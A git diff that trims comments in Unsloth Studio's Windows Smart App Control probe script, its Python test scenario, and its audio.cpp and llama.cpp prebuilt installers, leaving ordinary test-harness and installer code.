try { $bootedAt = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime } catch { }
$preparedAt = $null
- # Invariant, and on the string form, because CapturedAt arrives here in two shapes and the default parse reads neither safely.
+ # Invariant parse of the string form: CapturedAt arrives in two shapes.
try {
$preparedAt = [datetime]::Parse([string]$runBaseline.CapturedAt,
[cultureinfo]::InvariantCulture)
@@ -1111,7 +1058,6 @@ function Invoke-Run {
Save-ProbeBaseline $runBaseline $runBaselinePath
}
} elseif ([string]$runBaseline.Sac.Mode -eq 'enforcement') {
- # The same revalidation for the cell with no audit policy, where the only thing that can produce a verdict is Smart App Control refusing code for real.
Write-Section 'Smart App Control still enforcing'
$sacNow = Get-SacState
if ($sacNow.Mode -ne 'enforcement') {
@@ -1121,7 +1067,7 @@ function Invoke-Run {
$bootedAt = $null
try { $bootedAt = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime } catch { }
$preparedAt = $null
- # Invariant, and on the string form, because CapturedAt arrives here in two shapes and the default parse reads neither safely.
+ # Invariant parse of the string form: CapturedAt arrives in two shapes.
try {
$preparedAt = [datetime]::Parse([string]$runBaseline.CapturedAt,
[cultureinfo]::InvariantCulture)
@@ -1129,7 +1075,6 @@ function Invoke-Run {
if (($bootedAt -and $preparedAt -and $bootedAt -gt $preparedAt) -or
($true -ne $runBaseline.SacControlFired)) {
Write-Host 'confirming on this boot that unsigned code is actually refused here'
- # 3077 only, for the reason prepare gives
$sacFired = Test-AuditPolicyEvaluating -AcceptIds @(3077)
if ($false -eq $sacFired) {
throw "Smart App Control reads as 'enforcement' but an unsigned control ran on this boot without being refused with a 3077, so it is not enforcing against unsigned code and this run would be meaningless. Run revert and prepare again."
@@ -1140,15 +1085,13 @@ function Invoke-Run {
}
}
- # A machine that was prepared earlier may have been rebooted since, which is itself part of the reported behaviour
if (-not $SkipStudio -and -not (Test-StudioResponding $Port)) { Initialize-Studio $dir $false }
- # The venv, separately.
Write-Section 'Venv signature inventory'
$studioPython = Get-StudioPython
$venvDir = Resolve-VenvDir
Write-Host "venv: $venvDir"
- # Recorded for collect, which may run from a shell where a custom UNSLOTH_STUDIO_HOME was never set.
+ # collect may run where a custom UNSLOTH_STUDIO_HOME was never set.
$venvDir | Set-Content -LiteralPath (Join-Path $dir 'venv-selection.txt') -Encoding UTF8
Get-StudioHome | Set-Content -LiteralPath (Join-Path $dir 'studio-home.txt') -Encoding UTF8
$venvInventory = @(Get-SignatureInventory $venvDir)
@@ -1181,8 +1124,7 @@ function Invoke-Run {
Write-Warning 'UNSLOTH_STUDIO_PASSWORD is not set; the scenario needs it (see README) and will stop at login'
}
$scenarioArgs = @($scenario, '--model', $Model, '--out', $dir, '--port', "$Port")
- # Neither UNSLOTH_STUDIO_PASSWORD (unsloth_cli claims that name and hard-errors, see $STUDIO_PASSWORD) nor --password on the command line.
- # Only the password captured from UNSLOTH_STUDIO_PASSWORD, never one inherited under this name.
+ # Not UNSLOTH_STUDIO_PASSWORD (unsloth_cli claims it) nor --password on the command line.
Remove-Item Env:\SAC_PROBE_STUDIO_PASSWORD -ErrorAction SilentlyContinue
if ($STUDIO_PASSWORD) { $env:SAC_PROBE_STUDIO_PASSWORD = $STUDIO_PASSWORD }
Write-Host "python $scenario --model $Model --out $dir --port $Port"
@@ -1209,7 +1151,6 @@ function Invoke-Run {
Set-Content -LiteralPath (Join-Path $dir 'scenario-status.json') -Encoding UTF8
- # After the scenario, which records the runtime Studio resolved
Write-Section 'Signature inventory'
$llamaDir = Resolve-LlamaDir $dir
Write-Host "runtime: $llamaDir"
@@ -1220,7 +1161,6 @@ function Invoke-Run {
$total = $inventory.Count
if ($total -eq 0) {
- # A runtime with no PE files is a stale UNSLOTH_LLAMA_CPP_PATH, an absent install or a failed enumeration
throw "no PE files found under ${llamaDir}: there is no llama.cpp runtime on this machine, so the cell is invalid. Run 'python -X utf8 -I -m unsloth_cli studio setup' to download one (or point UNSLOTH_LLAMA_CPP_PATH / UNSLOTH_STUDIO_HOME at an existing install), then re-run this stage"
}
$valid = @($inventory | Where-Object { $_.Status -eq 'Valid' }).Count
@@ -1241,14 +1181,13 @@ function Invoke-Run {
Write-Host ''
if (-not $SkipStudio -and $scenarioStatus.ExitCode -ne 0) {
- # A scenario that never authenticated or never loaded a model produces a window with nothing in it, and an empty window reads exactly like a clean allow.
+ # An empty window from an incomplete scenario reads exactly like a clean allow.
Write-Warning 'the scenario did NOT complete, so this cell has not exercised model loading.'
Write-Warning "See $log. Fix the cause and re-run this stage before collecting."
}
Write-Host "run complete. Next: .\sac-probe.ps1 -Stage collect -Label $Label"
}
-# Reads the event window until delivery has settled.
function Read-SettledCiEvents([datetime] $Start, [int[]] $Ids, [int] $Attempts = 20, [int] $IntervalSeconds = 3, [int] $MinSettleSeconds = 30) {
$previous = -1
$waited = 0
@@ -1279,11 +1218,9 @@ function Invoke-Collect {
$startPath = Join-Path $dir 'window-start.txt'
if (-not (Test-Path -LiteralPath $startPath)) {
- # Get-RunDir creates the directory, so a mistyped label or a collect without a prepare lands here.
throw "no window-start.txt under ${dir}: prepare did not run for label '$Label', so there is no event window to collect"
}
$start = [datetime]::Parse((Get-Content -LiteralPath $startPath -Raw).Trim())
- # The same window checks run makes: a reverted label no longer carries the state its events are judged by.
$collectBaselinePath = Join-Path $dir 'baseline.json'
if (Test-Path -LiteralPath $collectBaselinePath) {
$collectBaseline = Get-Content -LiteralPath $collectBaselinePath -Raw | ConvertFrom-Json
@@ -1299,28 +1236,23 @@ function Invoke-Collect {
}
Write-Section "Events since $($start.ToString('o'))"
- # Everything that went wrong while gathering evidence.
$collectionProblems = @()
$events = @()
try {
$events = @(Read-SettledCiEvents $start $CI_EVENT_IDS)
if ($events.Count -eq 0) { Write-Host 'no CodeIntegrity events in the window' }
} catch {
- # Only "nothing matched" is an empty window, and Read-SettledCiEvents already treats it as one.
$_.ToString() | Set-Content -LiteralPath (Join-Path $dir 'events-collection-error.txt') -Encoding UTF8
throw "could not read $CI_LOG, so the event window was not collected: $_"
}
- # A retry that got through clears the earlier attempt's marker
Remove-Item -LiteralPath (Join-Path $dir 'events-collection-error.txt') -Force -ErrorAction SilentlyContinue
$tail = Get-ScopeTail (Resolve-LlamaDir $dir)
$venvTail = Get-ScopeTail (Resolve-VenvDir $dir)
- # Studio's CPU fallback copy of the runtime: <studio home>\runtime\llama-cpu-*, the home run.py exports
$cpuTail = (Get-ScopeTail (Join-Path (Resolve-StudioHomeFor $dir) 'runtime')) + 'llama-cpu-*\'
$shaped = @($events | ForEach-Object {
$msg = $_.Message
$data = Get-EventDataMap $_
- # The evaluated file, not the whole message.
$subject = $msg
foreach ($field in @('File Name', 'FileNameBuffer')) {
if ($data.Contains($field) -and $data[$field]) { $subject = [string]$data[$field]; break }
@@ -1343,7 +1275,6 @@ function Invoke-Collect {
ScopeFrom = 'path'
ActivityID = $_.ActivityId
Message = $msg
- # 3089's rendered Message is the fixed string "Signature information for another event.
EventData = $data
}
})
@@ -1372,7 +1303,6 @@ function Invoke-Collect {
$ours = @($shaped | Where-Object { $_.Scope -ne 'other' })
$blocks = @($ours | Where-Object { $_.Id -eq 3077 }).Count
- # A 3076 is this probe's audit verdict only when the NoISG policy it installed raised it.
$auditApplied = $false
$baselineForAttribution = Join-Path $dir 'baseline.json'
if (Test-Path -LiteralPath $baselineForAttribution) {
@@ -1398,7 +1328,6 @@ function Invoke-Collect {
$a = @($g.Group | Where-Object { & $isOurAudit $_ }).Count
Write-Host (" {0,-10} {1} x 3077, {2} x 3076, {3} event(s)" -f $g.Name, $b, $a, $g.Count)
}
- # Whether a model was actually loaded inside this window.
$scenarioStatus = $null
$statusPath = Join-Path $dir 'scenario-status.json'
if (Test-Path -LiteralPath $statusPath) {
@@ -1428,14 +1357,12 @@ function Invoke-Collect {
$sacNow = Get-SacState
if ($verdicts -eq 0 -and (Test-Path -LiteralPath $baselineForControl)) {
$b = Get-Content -LiteralPath $baselineForControl -Raw | ConvertFrom-Json
- # Both ends of the window, and neither is redundant.
$sacMode = [string]$sacNow.Mode
$sacAtPrepare = [string]$b.Sac.Mode
if ($b.AuditPolicyApplied -and $true -ne $b.AuditPolicyControlFired) {
$collectionProblems += 'no positive control confirmed the audit policy was evaluating loads, so a window with no 3076 or 3077 here is a NULL result, not an allow'
Write-Warning 'No Unsloth path raised a 3076 or 3077, but no positive control confirmed the audit policy was evaluating loads on this machine. Do NOT report this cell as "not blocked".'
} elseif (-not $loadOk) {
- # Recorded as a collection problem above
Write-Warning 'No Unsloth path raised a 3076 or 3077, but nothing was observed loading in this window (see collection-warnings.txt in the zip). Do NOT report this cell as "not blocked".'
} elseif ($b.AuditPolicyApplied) {
Write-Host 'no Unsloth path raised a 3076 or 3077, and the positive control confirmed the policy was evaluating loads'
@@ -1451,7 +1378,6 @@ function Invoke-Collect {
}
}
- # Reported, never folded into the totals above.
Write-Host "unrelated to Unsloth: $foreign event(s) (kept in the export, excluded from the counts)"
Write-Host "$($shaped.Count) event(s) in the window overall"
@@ -1465,7 +1391,6 @@ function Invoke-Collect {
}
try {
- # Captured into an array first
$detections = @(Get-MpThreatDetection -ErrorAction Stop |
Where-Object { $_.InitialDetectionTime -ge $start } |
Select-Object InitialDetectionTime, ThreatID, Resources)
@@ -1473,7 +1398,7 @@ function Invoke-Collect {
Set-Content -LiteralPath (Join-Path $dir 'defender-detections.json') -Encoding UTF8
Remove-Item -LiteralPath (Join-Path $dir 'defender-query-error.txt') -Force -ErrorAction SilentlyContinue
} catch {
- # A failed query wrote the same `[]` a clean machine writes, so the evidence claimed a quarantine-free window when Defender had simply not answered.
+ # A failed query writes the same [] a clean machine does, so record the error.
$_.ToString() | Set-Content -LiteralPath (Join-Path $dir 'defender-query-error.txt') -Encoding UTF8
Remove-Item -LiteralPath (Join-Path $dir 'defender-detections.json') -Force -ErrorAction SilentlyContinue
Write-Warning "Defender detections were NOT collected: $_. defender-query-error.txt records why; do not read the absence of detections as a clean window."
@@ -1482,7 +1407,6 @@ function Invoke-Collect {
$sacNow | ConvertTo-Json -Depth 6 |
Set-Content -LiteralPath (Join-Path $dir 'sac-state-after.json') -Encoding UTF8
- # Studio's own logs, which carry the request timings and the backend errors.
$sources = @()
$studioLogs = Join-Path (Resolve-StudioHomeFor $dir) 'logs'
if (Test-Path -LiteralPath $studioLogs) { $sources += $studioLogs }
@@ -1509,11 +1433,9 @@ function Invoke-Collect {
}
}
- # Stage a copy before compressing.
$stage = Join-Path $WorkDir ".stage-$Label"
Remove-Item -LiteralPath $stage -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $stage | Out-Null
- # Get-ChildItem returns absolute FullName values even for a relative -WorkDir.
$dir = (Get-Item -LiteralPath $dir).FullName
foreach ($item in Get-ChildItem -LiteralPath $dir -Recurse -File) {
$rel = $item.FullName.Substring($dir.Length).TrimStart('\')
@@ -1521,7 +1443,7 @@ function Invoke-Collect {
$target = Join-Path $stage $rel
New-Item -ItemType Directory -Force -Path (Split-Path $target) | Out-Null
try {
- # FileShare::ReadWrite so a writer holding the file does not block the read, which Copy-Item cannot express.
+ # FileShare ReadWrite so an open writer does not block the read; Copy-Item cannot do this.
$src = [System.IO.File]::Open($item.FullName, [System.IO.FileMode]::Open,
[System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite)
try {
@@ -1534,7 +1456,6 @@ function Invoke-Collect {
}
}
if ($collectionProblems.Count -gt 0) {
- # Into the staged copy, after the loop, so it is inside the archive the operator attaches rather than only in a console they will not send.
$collectionProblems -join "`n" |
Set-Content -LiteralPath (Join-Path $stage 'collection-warnings.txt') -Encoding UTF8
Write-Warning "this collection is INCOMPLETE: $($collectionProblems.Count) problem(s), recorded in collection-warnings.txt inside the zip"
@@ -1544,7 +1465,6 @@ function Invoke-Collect {
try {
Compress-Archive -Path (Join-Path $stage '*') -DestinationPath $zip -Force -ErrorAction Stop
} catch {
- # Never announce a path Compress-Archive did not produce.
Write-Host "::error::could not write $zip : $_"
throw
} finally {
@@ -1557,7 +1477,6 @@ function Invoke-Collect {
Write-Host ''
Write-Host "evidence: $zip" -ForegroundColor Green
- # An empty window is only a result if the scenario actually ran.
if ($loadOk) {
if ($scenarioStatus -and $scenarioStatus.ExitCode -ne 0) {
Write-Warning "The model loaded, so the load-time events are valid; later scenario step(s) failed: $($failedSteps -join ', ') (exit $($scenarioStatus.ExitCode))."
@@ -1587,7 +1506,6 @@ function Invoke-Revert {
Clear-EfiOwnership
- # A baseline this script already considers spent.
if ($baseline.RevertCompletedAt) {
if ($script:EfiStillMounted) {
throw "the EFI system partition is still mounted as S: and could not be unmounted; run 'mountvol S: /D' by hand"
@@ -1596,7 +1514,6 @@ function Invoke-Revert {
return
}
- # The policy block may throw (mount, copy or CiTool).
$policyError = $null
if ($baseline.AuditPolicyApplied) {
try {
@@ -1605,7 +1522,7 @@ function Invoke-Revert {
$mounted = Mount-Efi
try {
if ($baseline.AuditPolicyPreexisting -and -not (Test-Path -LiteralPath $saved)) {
- # Falling through to the removal branch would delete an administrator's policy and then report a completed rollback.
+ # Falling through would delete an administrator's policy and report success.
throw "the baseline says a policy with $NOISG_GUID was already installed, but the saved copy is missing from $saved, so it cannot be restored. Nothing was changed; restore that .cip by hand (or remove AuditPolicyPreexisting from baseline.json once you have) and run revert again."
}
if ($baseline.AuditPolicyPreexisting) {
@@ -1617,7 +1534,6 @@ function Invoke-Revert {
} else {
Write-Host 'audit policy file already absent'
}
- # Refreshed in every branch
Invoke-Native 'CiTool.exe' @('-r')
Write-Host 'policy refreshed'
} finally {
@@ -1626,7 +1542,6 @@ function Invoke-Revert {
# Before Windows 11 24H2 a removed policy can stay active until a restart.
$stillActive = Test-PolicyActive $NOISG_GUID
if ($baseline.AuditPolicyPreexisting) {
- # A restored policy has to be back in force, not merely copied into place.
if ($null -eq $stillActive) {
throw "the pre-existing audit policy $NOISG_GUID was restored and refreshed but CiTool could not list the policies to confirm it is active; run .\sac-probe.ps1 -Stage revert -Label $Label again once CiTool -lp works"
}
@@ -1641,7 +1556,6 @@ function Invoke-Revert {
if ($stillActive) {
throw "the audit policy $NOISG_GUID was removed and refreshed but is still active; restart Windows, then run .\sac-probe.ps1 -Stage revert -Label $Label again"
}
- # Only once the refresh succeeded and the policy is gone
$baseline.AuditPolicyApplied = $false
Save-ProbeBaseline $baseline (Join-Path $dir 'baseline.json')
} catch {
@@ -1666,7 +1580,6 @@ function Invoke-Revert {
}
Write-Section 'Restore Defender preferences'
- # Only what prepare changed, and only where a baseline value was captured.
$restores = @(
@{ Name = 'DisableRealtimeMonitoring'; Value = $baseline.DisableRealtimeMonitoring },
@{ Name = 'MAPSReporting'; Value = $baseline.MAPSReporting },
@@ -1702,7 +1615,6 @@ function Invoke-Revert {
}
if ($failed -eq 0) { Write-Host 'Defender preferences restored' }
else { Write-Warning "$failed Defender preference(s) were not restored; see above" }
- # Carried to the exit status below rather than left as a console warning
$restoreFailures = $failed
Write-Section 'Stop the elevated Unsloth Studio'
@@ -1742,11 +1654,9 @@ function Invoke-Revert {
if ($trees.Count -eq 0 -and $rejected.Count -eq 0) {
Write-Host 'nothing to repair: this run did not install Unsloth Studio'
}
- # Counted, not just warned about.
$aclFailures = $rejected.Count
foreach ($tree in $trees) {
try {
- # Grants the invoking user only.
& icacls.exe $tree /grant "${user}:(OI)(CI)F" /T /C /Q | Out-Null
if ($LASTEXITCODE -eq 0) { Write-Host "restored $user access to $tree" }
else {
@@ -1763,7 +1673,6 @@ function Invoke-Revert {
throw "revert restored the log and Defender settings but the audit policy is still applied: $policyError"
}
Write-Host ''
- # Every restoration is attempted first, then the failures decide the exit status.
if ($restoreFailures -gt 0 -or $null -ne $ciRestoreError -or $aclFailures -gt 0 -or $studioStillRunning -or $script:EfiStillMounted) {
if ($null -ne $ciRestoreError) {
Write-Warning "the $CI_LOG channel settings were not restored: $ciRestoreError"
@@ -1773,7 +1682,6 @@ function Invoke-Revert {
}
throw "revert did not fully restore this machine: $restoreFailures Defender preference(s), $aclFailures Unsloth Studio tree ACL repair(s), $(if ($null -ne $ciRestoreError) { 'the CodeIntegrity log settings' } else { 'no log settings' })$(if ($script:EfiStillMounted) { ' and the EFI mount' }) still differ from the baseline. See the warnings above."
}
- # Only here, past every failure check
$baseline | Add-Member -NotePropertyName RevertCompletedAt `
-NotePropertyValue ((Get-Date).ToString('o')) -Force
Save-ProbeBaseline $baseline $baselinePath
diff --git a/scripts/windows_sac_probe/studio_scenario.py b/scripts/windows_sac_probe/studio_scenario.py
index 7c56595e933..b107ff4d398 100644
--- a/scripts/windows_sac_probe/studio_scenario.py
+++ b/scripts/windows_sac_probe/studio_scenario.py
@@ -154,7 +154,7 @@ def _request_once(
return 0, str(exc)
-# /api/inference/load and /unload commit a 200 after about 15 seconds and pad the body so a proxy cannot time the call out
+# /load and /unload commit a 200 after ~15s and pad the body so a proxy cannot time out.
_DEFERRED_ERROR_KEY = "_deferred_error"
@@ -191,7 +191,7 @@ def _stream_events_once(
headers = {
"Content-Type": "application/json",
"Accept": "text/event-stream",
- # tool_start / tool_end carry no `choices`, so /v1/chat/completions suppresses them for external clients and emits a clean OpenAI stream
+ # Without this header, tool_start/tool_end are suppressed for external clients.
"X-Unsloth-Events": "1",
}
if token:
@@ -241,7 +241,6 @@ def discover_port(explicit: Optional[int]) -> int:
ports = [explicit] if explicit else DEFAULT_PORTS
for port in ports:
status, body = _request(f"http://127.0.0.1:{port}", "GET", "/api/liveness", timeout = 5)
- # The identity marker, not the status code.
if status == 200 and isinstance(body, dict) and body.get("service") == "Unsloth UI Backend":
return port
raise SystemExit(
@@ -415,10 +414,9 @@ class StatusPoller(threading.Thread):
)
self.in_flight_since = None
elapsed = time.monotonic() - start
- # Windows timer granularity can end a timed-out read a few ms before the timeout.
+ # Windows timer granularity can end a timed-out read a few ms early.
timed_out = status == 0 and (elapsed >= self.read_timeout or "timed out" in str(body))
self.polls.append((start, elapsed * 1000.0, timed_out))
- # A read that ran past the tick is followed at once by the tick it blocked, as the frontend's queued refresh does
self._stop_event.wait(max(0.0, self.interval - elapsed))
def stalls_ms(self) -> list[float]:
@@ -489,13 +487,12 @@ def chat(
"stream": False,
}
if tools:
- # Streamed, because tool_start / tool_end ride the stream and nothing else says a tool ran
+ # Streamed: only the stream's tool_start/tool_end events show a tool ran.
names = enabled_tools or ["web_search"]
payload["stream"] = True
payload["enable_tools"] = True
payload["enabled_tools"] = names
payload["tool_choice"] = {"type": "function", "function": {"name": names[0]}}
- # Nobody is at the keyboard.
payload["permission_mode"] = "off"
status, events, error = _stream_events(
base_url, "/v1/chat/completions", payload, token = token
@@ -581,7 +578,6 @@ def main() -> int:
token = authenticate(base_url, resolve_studio_home(args.home), args.password)
print("authenticated")
- # Which llama-server Studio will run, in its own precedence
status, body = _request(base_url, "GET", "/api/settings/llama-cpp-path", token = token)
runtime = (
body
@@ -609,7 +605,7 @@ def main() -> int:
if variant:
load_payload["gguf_variant"] = variant
try:
- # A model already resident makes /load a no-op ("already_loaded"), and then no PE is loaded inside the evidence window
+ # A resident model makes /load a no-op, so no PE would load inside the window.
status, body = _request(
base_url,
"POST",
@@ -681,7 +677,6 @@ def main() -> int:
)
print(f" tool calls: {results['steps']['tool_calls']['tool_calls']}")
- # UnloadRequest.model_path is required
status, body = _request(
base_url,
"POST",
@@ -713,7 +708,6 @@ def main() -> int:
"in_flight_ms": None if in_flight is None else round(in_flight, 1),
"max_ms": round(max(durations), 1) if durations else None,
"median_ms": round(statistics.median(durations), 1) if durations else None,
- # Reads the frontend would have abandoned, and how long each run of them lasted.
"abandoned_reads": sum(1 for _, _, t in poller.polls if t),
"stalls_ms": [round(x, 1) for x in stalls],
"over_10s": sum(1 for d in durations if d >= 10_000),
diff --git a/studio/install_audio_cpp_prebuilt.py b/studio/install_audio_cpp_prebuilt.py
index def52408ac9..c8147266625 100644
--- a/studio/install_audio_cpp_prebuilt.py
+++ b/studio/install_audio_cpp_prebuilt.py
@@ -94,7 +94,6 @@ OWNERSHIP_MARKER = ".unsloth-studio-owned"
SERVER_NAME = "audiocpp_server.exe" if sys.platform == "win32" else "audiocpp_server"
ACCELERATORS = ("auto", "cpu", "cuda", "vulkan", "metal")
-# The staged server's --help must exit 0 within this long before it replaces the live tree.
SMOKE_TIMEOUT_SECONDS = 30.0
USER_AGENT = "unsloth-audio-cpp-installer"
@@ -110,7 +109,6 @@ class ReleaseLookupUnavailable(RuntimeError):
def log(message: str) -> None:
- # prebuilt_core's download retries report through this.
print(f"audio.cpp: {message}", file = sys.stderr, flush = True)
@@ -287,7 +285,6 @@ def nvidia_driver_cuda_version() -> Optional[tuple[int, int]]:
out = runner([exe], capture_output = True, text = True, timeout = 15).stdout
except (OSError, subprocess.SubprocessError):
return None
- # Newer drivers print "CUDA UMD Version: X.Y" in place of "CUDA Version: X.Y" (same rule as the llama installer).
match = re.search(r"CUDA(?: UMD)? Version:\s*(\d+)\.(\d+)", out or "")
if not match:
return None
@@ -674,8 +671,7 @@ def resolve_for_request(
if requested == "auto" and accel == "cuda" and chosen:
major = _cuda_major(chosen)
if not _linux_cuda_runtime_available(major):
- # The Linux CUDA bundles load cudart / cuBLAS from torch's nvidia-* wheels, as the
- # llama.cpp ones do; a Studio without torch (or with another CUDA line) runs the CPU build.
+ # Linux CUDA bundles load cudart / cuBLAS from torch's nvidia-* wheels.
print(
f"audio.cpp: no CUDA {major} runtime (cudart, cuBLAS) for {chosen}; installing the CPU build",
flush = True,
@@ -714,7 +710,6 @@ def _extract(archive: Path, target: Path) -> None:
return
with tarfile.open(archive, "r:gz") as tf:
if hasattr(tarfile, "data_filter"):
- # Refuses absolute paths, parent traversal, device files and links leaving the tree.
tf.extractall(target, filter = "data")
return
# Pythons without extraction filters: the same containment rules, checked by hand.
@@ -838,8 +833,7 @@ def read_install_record(root: Path) -> dict:
def _backend_of(asset: str) -> str:
- # The Intel macOS bundle keeps the "-metal" name but is built with Metal off (Intel runners
- # have no usable GPU), so it can only run on the CPU backend.
+ # The Intel macOS bundle keeps the "-metal" name but is built with Metal off (CPU only).
if "-macos-x64-" in asset:
return "cpu"
if "-metal" in asset:
@@ -851,8 +845,7 @@ def _backend_of(asset: str) -> str:
return "cpu"
-# What earlier Studio builds left in the managed dir without an ownership marker: the server's
-# scratch home. A tree holding nothing else is Studio's, not the user's.
+# Leftovers of older Studio builds; a tree holding nothing else is Studio's, not the user's.
_STUDIO_LEFTOVERS = frozenset({".child_home"})
@@ -867,7 +860,6 @@ def _sweep_retired_trees(target: Path) -> None:
owned = False
if owned:
shutil.rmtree(old, ignore_errors = True)
- # Staging dirs of a killed run; the install lock is held, so none belongs to a live one.
for staging in target.parent.glob(".audio.cpp-staging-*"):
if staging.is_dir() and not staging.is_symlink():
shutil.rmtree(staging, ignore_errors = True)
@@ -926,10 +918,8 @@ def _intact_install(target: Path, record: dict) -> Optional[Path]:
return None
except OSError:
return None
- # Removed or quarantined phonemizer data: reinstall rather than keep a bundle Kokoro cannot use.
if record.get("espeak") is True and not (server.parent / "espeak-ng-data.bin").is_file():
return None
- # A Windows CUDA install that leaned on torch's runtime is broken once torch moves lines.
return server if _cuda_runtime_satisfied(record) else None
@@ -1118,7 +1108,7 @@ def smoke_test_staged_server(
if result.returncode != 0:
output = "\n".join(s.strip() for s in (result.stderr, result.stdout) if s and s.strip())
if backend == "cuda" and "libcuda.so" in output and nvidia_driver_cuda_version() is None:
- # No NVIDIA driver on this host (a Docker image build): libcuda arrives with the driver at run time.
+ # No NVIDIA driver (e.g. Docker image build): libcuda arrives with the driver at run time.
print(
"audio.cpp: no NVIDIA driver here to load the CUDA build; skipping its start check",
flush = True,
@@ -1304,7 +1294,6 @@ def _install_locked(
)
if target.exists() and _server_in_use(_locate_server(target)):
- # Checked again before the swap; here it saves the download.
raise PermissionError(f"audiocpp_server in {target} is running")
target.parent.mkdir(parents = True, exist_ok = True)
staging = core.make_staging_dir(target.parent, ".audio.cpp-staging-")
@@ -1355,11 +1344,9 @@ def _install_locked(
"asset_sha256": digest,
"cudart_asset": cudart_used,
"backend": backend,
- # What was asked and seen, so a re-run knows without a lookup whether this still fits.
"accelerator": accel,
"accelerator_request": requested,
"detected_accelerator": detected,
- # Static eSpeak-ng builds ship their phoneme data beside the server; upstream bundles do not.
"espeak": (server.parent / "espeak-ng-data.bin").is_file(),
"server_relpath": server.relative_to(tree).as_posix(),
"server_sha256": core.sha256_file(server),
@@ -1369,11 +1356,9 @@ def _install_locked(
"installed_at_utc": datetime.datetime.now(datetime.timezone.utc).isoformat(),
}
(tree / INSTALL_RECORD).write_text(json.dumps(record, indent = 2), encoding = "utf-8")
- # A running server would keep its files after the swap and serve the old build; the
- # caller stops it (or reports busy) instead.
+ # A running server would keep serving the old build; the caller stops it instead.
if target.exists() and _server_in_use(_locate_server(target)):
raise PermissionError(f"audiocpp_server in {target} is running")
- # Swap: the old tree moves aside first so a failed rename can put it back.
retired = None
if target.exists():
retired = target.with_name(target.name + f".old-{os.getpid()}")
@@ -1398,7 +1383,6 @@ def main(argv: Optional[list[str]] = None) -> int:
p.add_argument(
"--accelerator",
default = _accelerator_from_env(),
- # setup.sh / setup.ps1 forward UNSLOTH_AUDIO_CPP_ACCELERATOR verbatim ("CUDA", " cpu ").
type = lambda value: value.strip().lower(),
choices = list(ACCELERATORS),
help = "default: UNSLOTH_AUDIO_CPP_ACCELERATOR, else auto (detect; CPU when no bundle covers the GPU)",
@@ -1438,11 +1422,9 @@ def main(argv: Optional[list[str]] = None) -> int:
print(f"error: {exc}", file = sys.stderr)
return EXIT_FAILED
except core.BusyInstallConflict as exc:
- # Another setup (the desktop app, a second shell) holds the install lock.
print(f"error: another audio.cpp install is running ({exc})", file = sys.stderr)
return EXIT_BUSY
except PermissionError as exc:
- # Windows: a running audiocpp_server holds the tree open.
print(
f"error: the audio.cpp runtime is in use ({exc}); stop Unsloth Studio and retry",
file = sys.stderr,
diff --git a/studio/install_llama_prebuilt.py b/studio/install_llama_prebuilt.py
index 9180fd81d19..b5d8e3a91a3 100644
--- a/studio/install_llama_prebuilt.py
+++ b/studio/install_llama_prebuilt.py
@@ -41,9 +41,7 @@ from dataclasses import dataclass, field, replace as dataclasses_replace
from pathlib import Path, PurePath
from typing import Any, Callable, Iterable, Iterator, Union
-# Shared component-agnostic machinery lives in prebuilt_core (same directory);
-# put studio/ on sys.path so it resolves whether this file is run as a script
-# (from any cwd) or loaded via an importlib spec by the tests.
+# Put studio/ on sys.path so prebuilt_core resolves when run as a script or via importlib.
_STUDIO_DIR = os.path.dirname(os.path.abspath(__file__))
if _STUDIO_DIR not in sys.path:
sys.path.insert(0, _STUDIO_DIR)
@@ -85,9 +83,8 @@ from backend.utils.prebuilt.llama_backend import ( # noqa: E402
normalize_backend_request,
)
-# Late-binding seam: core functions resolve collaborators (download_file,
-# fetch_json, ...) through this module's globals at call time, so tests that
-# monkeypatch names on this module keep working.
+# Core functions resolve collaborators through this module's globals at call time,
+# so tests that monkeypatch names here keep working.
_OPS = _core.ModuleOps(globals())
USER_AGENT = "unsloth-studio-llama-prebuilt"
@@ -97,14 +94,10 @@ EXIT_FALLBACK = 2
EXIT_ERROR = 1
EXIT_BUSY = 3
EXIT_NO_SPACE = 4
-# A concrete backend selection could not be satisfied.
EXIT_BACKEND_UNAVAILABLE = 5
-# Every gfx a Windows AMD host can be served: ggml-org release.yml windows-hip GPU_TARGETS
-# plus the fork's windows-rocm bundles. Must stay a superset of the manifest's windows-rocm
-# mapped_targets, else auto-Vulkan steals a host the fork already builds for. Below this
-# floor (e.g. gfx803 / RX 480) HIP has no prebuilt and Vulkan is the practical Windows
-# llama-server backend (#7357).
+# Must stay a superset of the manifest's windows-rocm mapped_targets, else auto-Vulkan
+# steals a host the fork builds for. Below this floor Vulkan is the Windows backend.
WINDOWS_HIP_PREBUILT_GFX_TARGETS = frozenset(
{
"gfx908",
@@ -123,11 +116,9 @@ WINDOWS_HIP_PREBUILT_GFX_TARGETS = frozenset(
"gfx1201",
}
)
-# Family labels forwarded by update markers / --rocm-gfx (gfx110X.zip assets).
WINDOWS_ROCM_FAMILY_GFX_LABELS = frozenset({"gfx103x", "gfx110x", "gfx120x"})
-# HIP builds these, but Vulkan measurably wins (gfx1151 prefill +22.9%, decode +8.3%) and
-# cannot reach the managed-memory faults. An allowlist because CDNA ships no Vulkan ICD.
+# Vulkan beats HIP on these APUs; an allowlist because CDNA ships no Vulkan ICD.
VULKAN_PREFERRED_GFX_TARGETS = frozenset({"gfx1150", "gfx1151"})
# No ROCm torch wheel and no linux-rocm bundle covers these, so a HIP source build has no
@@ -149,8 +140,7 @@ SHADOWING_INTEGRATED_GFX = frozenset(
}
)
-# Exactly ggml-org release.yml's windows-hip "radeon" gpu_targets. The set above adds the
-# fork-only bundles (gfx1034, gfx1103, gfx908, gfx90a), served only against the fork.
+# Exactly ggml-org release.yml's windows-hip gpu_targets; fork-only archs are excluded.
UPSTREAM_WINDOWS_HIP_GFX_TARGETS = frozenset(
{
"gfx1030",
@@ -178,10 +168,7 @@ VULKAN_INSTALL_KINDS = frozenset(
CONCRETE_BACKENDS = tuple(backend for backend in REQUESTABLE_BACKENDS if backend != "auto")
-# DiskPart-prompt suppression. RunAsInvoker does NOT stop amd-smi's runtime
-# elevation (its manifest is asInvoker), so this is just harmless belt-and-
-# suspenders for manifest-elevating tools. The real guard is _amd_smi_allowed():
-# we don't spawn amd-smi on Windows w/o a HIP SDK (or opt-in).
+# RunAsInvoker does NOT stop amd-smi's runtime elevation; the real guard is _amd_smi_allowed().
if platform.system() == "Windows":
os.environ.setdefault("__COMPAT_LAYER", "RunAsInvoker")
@@ -192,15 +179,12 @@ def _path_inside_venv(path: str) -> bool:
